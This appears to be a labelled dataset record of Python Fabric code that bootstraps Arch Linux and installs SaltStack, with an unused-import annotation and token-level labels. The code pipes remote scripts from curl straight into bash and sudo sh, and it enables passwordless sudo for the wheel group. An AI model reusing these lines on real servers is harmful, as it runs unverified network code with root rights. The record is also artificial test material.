run(\"pacman --noconfirm -S base-devel\")\n run(\"pacman --noconfirm -S curl git rsync\")\n\n # create a user, named 'aur', to safely install AUR packages under fakeroot\n # uid and gid values auto increment from 1000\n # to prevent conficts set the 'aur' user's gid and uid to 902\n run(\"groupadd -g 902 aur && useradd -m -u 902 -g 902 -G wheel aur\")\n\n # allow users in the wheel group to sudo without a password\n # so that the aur user can be scripted to install yaourt\n uncomment(\"/etc/sudoers\", \"wheel.*NOPASSWD\")\n\n # install yaourt\n sudo(\"rm -rf /home/aur/.builds && mkdir /home/aur/.builds/\", user=\"aur\")\n with cd(\"/home/aur/.builds/\"):\n sudo(\"bash <(curl aur.sh) -si --noconfirm package-query yaourt\", user=\"aur\")\n\n # set locale and server timezone\n run(\"localectl set-locale LANG='en_US.utf8'\")\n run(\"timedatectl set-timezone US/Central\")\n\n # reboot for kernel upgrade\n print(yellow(\"rebooting.\"))\n sudo(\"reboot\")\n while True:\n time.sleep(1)\n run(\"date\")\n print(green(\"rebooted!\"))", "metadata": "root.bootstrap", "header": "['module', '___EOS___']", "index": 34 }, { "content": "def install_salt(installer=\"aur\"):\n \"\"\"\n Install salt with the chosen installer.\n \"\"\"\n append(\"/etc/hosts\",\n \"{0} saltmaster-private\".format(env.master_server.private_ip))\n with cd(\"/home/aur/\"):\n if installer == \"aur\":\n validate_configurator_version()\n sudo(\"yaourt --noconfirm -S salt\", user=\"aur\")\n elif installer == \"aur-git\":\n sudo(\"yaourt --noconfirm -S salt-git\", user=\"aur\")\n elif installer == \"bootstrap\":\n sudo(\"curl -L http://bootstrap.saltstack.org | sudo sh -s -- git v0.17.5\")\n sudo(\"cp /usr/lib/systemd/system/salt-minion.service /usr/lib/systemd/system/salt-master.service\")\n sed(\"/usr/lib/systemd/system/salt-master.service\", \"Minion\", \"Master\")\n sed(\"/usr/lib/systemd/system/salt-master.service\", \"minion\", \"master\")\n else:\n raise NotImplementedError()", "metadata": "root.install_salt", "header": "['module', '___EOS___']", "index": 76 }, { "content": "def setup_salt():\n \"\"\"\n Setup the salt configuration files and enable dameon on a reboot.\n See: http://salt.readthedocs.org/en/latest/topics/installation/arch.html\n \"\"\"\n server = [s for s in env.bootmachine_servers if s.public_ip == env.host][0]\n\n if env.host == env.master_server.public_ip:\n run(\"touch /etc/salt/master\")\n append(\"/etc/salt/master\", \"file_roots:\\n base:\\n - {0}\".format(\n settings.REMOTE_STATES_DIR))\n append(\"/etc/salt/master\", \"pillar_roots:\\n base:\\n - {0}\".format(\n settings.REMOTE_PILLARS_DIR))\n run(\"systemctl enable salt-master\")\n run(\"touch /etc/salt/minion\")\n append(\"/etc/salt/minion\", \"master: {0}\".format(env.master_server.private_ip))\n append(\"/etc/salt/minion\", \"id: {0}\".format(server.name))\n append(\"/etc/salt/minion\", \"grains:\\n roles:\")\n for role in server.roles:\n append(\"/etc/salt/minion\", \" - {0}\".format(role))\n run(\"systemctl enable salt-minion\")", "metadata": "root.setup_salt", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def start_salt():\n \"\"\"\n Starts salt master and minions.\n \"\"\"\n with fabric_settings(warn_only=True):\n if env.host == env.master_server.public_ip:\n sudo(\"systemctl start salt-master\")\n time.sleep(3)\n sudo(\"systemctl start salt-minion\")", "metadata": "root.start_salt", "header": "['module', '___EOS___']", "index": 120 }, { "content": "def stop_salt():\n \"\"\"\n Stops salt master and minions.\n \"\"\"\n with fabric_settings(warn_only=True):\n if env.host == env.master_server.public_ip:\n sudo(\"systemctl stop salt-master\")\n sudo(\"systemctl stop salt-minion\")", "metadata": "root.stop_salt", "header": "['module', '___EOS___']", "index": 131 }, { "content": "def restart_salt():\n \"\"\"\n Restart salt master and the minions.\n \"\"\"\n stop_salt()\n start_salt()", "metadata": "root.restart_salt", "header": "['module', '___EOS___']", "index": 141 } ]
[ { "span": "from fabric.contrib.files import append, contains, sed, uncomment", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 65 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "fabric_", "._", "api_", "import_", "env_", ",_", "run_", ",_", "sudo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "colors_", "import_", "blue_", ",_", "cya", "n_", ",_", "green_", ",_", "mage", "nta", "_", ",_", "red_", ",_", "white_", ",_", "yellow_", "#", " ", "no", "qa_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "context", "\\u", "managers_", "import_", "cd_", ",_", "settings_", "as_", "fab", "ric", "\\u", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "contrib_", "._", "files_", "import_", "append_", ",_", "contains_", ",_", "sed_", ",_", "uncomm", "ent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "utils_", "import_", "abort_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DIST", "RO", "_", "=_", "\"", "ARCH", "\\u", "2013", "9", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SAL", "T", "\\u", "INSTALLE", "RS_", "=_", "[_", "\"", "aur", "\"_", ",_", "\"", "aur", "-", "git", "\"_", ",_", "\"", "boots", "trap", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validat", "e\\u", "configurator", "\\u", "version_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Arch", " ", "is", " ", "a", " ", "rolling", " ", "release", " ", "distr", "o", ",", " ", "there", "fore", " ", "it", " ", "is", " ", "importa", "nt", " ", "to", " ", "ensure", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "configurator", " ", "version", " ", "is", " ", "current", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "settings_", "._", "CONFIG", "URA", "TOR", "\\u", "MODULE_", "==_", "\"", "boot", "machine", ".", "contrib", ".", "configurator", "s", ".", "salt", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pkg", "ver_", "=_", "settings_", "._", "SAL", "T", "\\u", "AU", "R", "\\u", "PKG", "VER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pkg", "rel_", "=_", "settings_", "._", "SAL", "T", "\\u", "AU", "R", "\\u", "PKG", "REL", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "\"", "https", "://", "aur", ".", "arch", "linux", ".", "org", "/", "package", "s", "/", "sa", "/", "salt", "/", "PKG", "BUILD", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "response_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "line_", "._", "startswith_", "(_", "\"", "pkg", "ver", "=\"_", ")_", "and_", "not_", "pkg", "ver_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "abort_", "(_", "\"", "The", " ", "request", "ed", " ", "Sal", "t", " ", "'", "pkg", "rel", "={", "0", "}'", " ", "in", " ", "the", " ", "AU", "R", " ", "was", " ", "update", "d", " ", "to", " ", "'{", "1", "}'", ".\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "pkg", "ver_", ",_", "line_", "._", "strip_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "line_", "._", "startswith_", "(_", "\"", "pkg", "rel", "=\"_", ")_", "and_", "not_", "pkg", "rel_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "abort_", "(_", "\"", "The", " ", "request", "ed", " ", "Sal", "t", " ", "'", "pkg", "rel", "={", "0", "}'", " ", "in", " ", "the", " ", "AU", "R", " ", "was", " ", "update", "d", " ", "to", " ", "'{", "1", "}'", ".\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "pkg", "rel_", ",_", "line_", "._", "strip_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bootstrap_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Boots", "trap", " ", "Arch", " ", "Lin", "ux", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "On", "ly", " ", "the", " ", "bare", " ", "essential", "s", ",", " ", "the", " ", "configurator", " ", "will", " ", "take", " ", "care", " ", "of", " ", "the", " ", "rest", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validat", "e\\u", "configurator", "\\u", "version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "upgrade", " ", "pac", "ak", "ges_", "\\u\\u\\uNL\\u\\u\\u_", "run_", "(_", "\"", "pac", "man", " ", "--", "noco", "nfi", "rm", " ", "-", "Sy", "u", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "install", " ", "essential", " ", "packages_", "\\u\\u\\uNL\\u\\u\\u_", "run_", "(_", "\"", "pac", "man", " ", "--", "noco", "nfi", "rm", " ", "-", "S", " ", "base", "-", "deve", "l", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "\"", "pac", "man", " ", "--", "noco", "nfi", "rm", " ", "-", "S", " ", "curl", " ", "git", " ", "rsync", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "user", ",", " ", "named", " ", "'", "aur", "',", " ", "to", " ", "safe", "ly", " ", "install", " ", "AU", "R", " ", "package", "s", " ", "under", " ", "faker", "oot_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "uid", " ", "and", " ", "gid", " ", "values", " ", "auto", " ", "increment", " ", "from", " ", "1000_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "prevent", " ", "confi", "ct", "s", " ", "set", " ", "the", " ", "'", "aur", "'", " ", "user", "'", "s", " ", "gid", " ", "and", " ", "uid", " ", "to", " ", "902", "_", "\\u\\u\\uNL\\u\\u\\u_", "run_", "(_", "\"", "group", "add", " ", "-", "g", " ", "902", " ", "aur", " ", "&&", " ", "usera", "dd", " ", "-", "m", " ", "-", "u", " ", "902", " ", "-", "g", " ", "902", " ", "-", "G", " ", "wheel", " ", "aur", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "allow", " ", "users", " ", "in", " ", "the", " ", "wheel", " ", "group", " ", "to", " ", "sudo", " ", "with", "out", " ", "a", " ", "password_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "tha", "t", " ", "the", " ", "aur", " ", "user", " ", "can", " ", "be", " ", "script", "ed", " ", "to", " ", "install", " ", "ya", "our", "t_", "\\u\\u\\uNL\\u\\u\\u_", "uncomm", "ent_", "(_", "\"/", "etc", "/", "sudo", "ers", "\"_", ",_", "\"", "wheel", ".*", "NOP", "ASS", "WD", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "install", " ", "ya", "our", "t_", "\\u\\u\\uNL\\u\\u\\u_", "sudo_", "(_", "\"", "rm", " ", "-", "rf", " ", "/", "home", "/", "aur", "/.", "builds", " ", "&&", " ", "mkd", "ir", " ", "/", "home", "/", "aur", "/.", "builds", "/\"_", ",_", "user_", "=_", "\"", "aur", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "cd_", "(_", "\"/", "home", "/", "aur", "/.", "builds", "/\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sudo_", "(_", "\"", "bash", " ", "<", "(", "curl", " ", "aur", ".", "sh", ")", " ", "-", "si", " ", "--", "noco", "nfi", "rm", " ", "package", "-", "query", " ", "ya", "our", "t", "\"_", ",_", "user_", "=_", "\"", "aur", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "locale", " ", "and", " ", "server", " ", "timezone_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "run_", "(_", "\"", "locale", "ctl", " ", "set", "-", "locale", " ", "LANG", "='", "en", "\\u", "US", ".", "utf", "8", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "\"", "timed", "ate", "ctl", " ", "set", "-", "timezon", "e", " ", "US", "/", "Cent", "ral", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "rebo", "ot", " ", "for", " ", "kernel", " ", "upgrade_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "yellow_", "(_", "\"", "rebo", "oti", "ng", ".\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sudo_", "(_", "\"", "rebo", "ot", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "\"", "date", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "green_", "(_", "\"", "rebo", "ote", "d", "!\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "install", "\\u", "salt_", "(_", "installer_", "=_", "\"", "aur", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Install", " ", "salt", " ", "with", " ", "the", " ", "chosen", " ", "installer", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "(_", "\"/", "etc", "/", "host", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "0", "}", " ", "salt", "master", "-", "private", "\"_", "._", "format_", "(_", "env_", "._", "master", "\\u", "server_", "._", "private", "\\u", "ip_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "cd_", "(_", "\"/", "home", "/", "aur", "/\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "installer_", "==_", "\"", "aur", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validat", "e\\u", "configurator", "\\u", "version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sudo_", "(_", "\"", "ya", "our", "t", " ", "--", "noco", "nfi", "rm", " ", "-", "S", " ", "salt", "\"_", ",_", "user_", "=_", "\"", "aur", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "installer_", "==_", "\"", "aur", "-", "git", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sudo_", "(_", "\"", "ya", "our", "t", " ", "--", "noco", "nfi", "rm", " ", "-", "S", " ", "salt", "-", "git", "\"_", ",_", "user_", "=_", "\"", "aur", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "installer_", "==_", "\"", "boots", "trap", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sudo_", "(_", "\"", "curl", " ", "-", "L", " ", "http", "://", "boots", "trap", ".", "salt", "stack", ".", "org", " ", "|", " ", "sudo", " ", "sh", " ", "-", "s", " ", "--", " ", "git", " ", "v", "0.17", ".5", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sudo_", "(_", "\"", "cp", " ", "/", "usr", "/", "lib", "/", "system", "d", "/", "system", "/", "salt", "-", "minion", ".", "service", " ", "/", "usr", "/", "lib", "/", "system", "d", "/", "system", "/", "salt", "-", "master", ".", "service", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sed_", "(_", "\"/", "usr", "/", "lib", "/", "system", "d", "/", "system", "/", "salt", "-", "master", ".", "service", "\"_", ",_", "\"", "Mini", "on", "\"_", ",_", "\"", "Master", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sed_", "(_", "\"/", "usr", "/", "lib", "/", "system", "d", "/", "system", "/", "salt", "-", "master", ".", "service", "\"_", ",_", "\"", "minion", "\"_", ",_", "\"", "master", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setup", "\\u", "salt_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Set", "up", " ", "the", " ", "salt", " ", "configura", "tion", " ", "files", " ", "and", " ", "enable", " ", "dam", "eon", " ", "on", " ", "a", " ", "rebo", "ot", ".", "\\", "10", ";", " ", " ", " ", " ", "See", ":", " ", "http", "://", "salt", ".", "read", "the", "docs", ".", "org", "/", "en", "/", "late", "st", "/", "topic", "s", "/", "installation", "/", "arch", ".", "html", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "=_", "[_", "s_", "for_", "s_", "in_", "env_", "._", "boot", "machine", "\\u", "servers_", "if_", "s_", "._", "public", "\\u", "ip_", "==_", "env_", "._", "host_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "env_", "._", "host_", "==_", "env_", "._", "master", "\\u", "server_", "._", "public", "\\u", "ip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "\"", "touch", " ", "/", "etc", "/", "salt", "/", "master", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "(_", "\"/", "etc", "/", "salt", "/", "master", "\"_", ",_", "\"", "file", "\\u", "root", "s", ":\\\\", "n", " ", " ", "base", ":\\\\", "n", " ", " ", " ", " ", "-", " ", "{", "0", "}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "settings_", "._", "REMO", "TE", "\\u", "STATE", "S", "\\u", "DIR_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "(_", "\"/", "etc", "/", "salt", "/", "master", "\"_", ",_", "\"", "pillar", "\\u", "root", "s", ":\\\\", "n", " ", " ", "base", ":\\\\", "n", " ", " ", " ", " ", "-", " ", "{", "0", "}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "settings_", "._", "REMO", "TE", "\\u", "PI", "LLA", "RS", "\\u", "DIR_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "\"", "system", "ctl", " ", "enable", " ", "salt", "-", "master", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "run_", "(_", "\"", "touch", " ", "/", "etc", "/", "salt", "/", "minion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "(_", "\"/", "etc", "/", "salt", "/", "minion", "\"_", ",_", "\"", "master", ":", " ", "{", "0", "}\"_", "._", "format_", "(_", "env_", "._", "master", "\\u", "server_", "._", "private", "\\u", "ip_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "(_", "\"/", "etc", "/", "salt", "/", "minion", "\"_", ",_", "\"", "id", ":", " ", "{", "0", "}\"_", "._", "format_", "(_", "server_", "._", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "(_", "\"/", "etc", "/", "salt", "/", "minion", "\"_", ",_", "\"", "grains", ":\\\\", "n", " ", " ", "role", "s", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "role_", "in_", "server_", "._", "roles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "append_", "(_", "\"/", "etc", "/", "salt", "/", "minion", "\"_", ",_", "\"", " ", " ", " ", " ", "-", " ", "{", "0", "}\"_", "._", "format_", "(_", "role_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "run_", "(_", "\"", "system", "ctl", " ", "enable", " ", "salt", "-", "minion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "salt_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Start", "s", " ", "salt", " ", "master", " ", "and", " ", "minion", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "fab", "ric", "\\u", "settings_", "(_", "warn", "\\u", "only_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "env_", "._", "host_", "==_", "env_", "._", "master", "\\u", "server_", "._", "public", "\\u", "ip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sudo_", "(_", "\"", "system", "ctl", " ", "start", " ", "salt", "-", "master", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sudo_", "(_", "\"", "system", "ctl", " ", "start", " ", "salt", "-", "minion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "\\u", "salt_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Stops", " ", "salt", " ", "master", " ", "and", " ", "minion", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "fab", "ric", "\\u", "settings_", "(_", "warn", "\\u", "only_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "env_", "._", "host_", "==_", "env_", "._", "master", "\\u", "server_", "._", "public", "\\u", "ip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sudo_", "(_", "\"", "system", "ctl", " ", "stop", " ", "salt", "-", "master", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sudo_", "(_", "\"", "system", "ctl", " ", "stop", " ", "salt", "-", "minion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "restart", "\\u", "salt_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Restart", " ", "salt", " ", "master", " ", "and", " ", "the", " ", "minion", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "\\u", "salt_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "salt_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 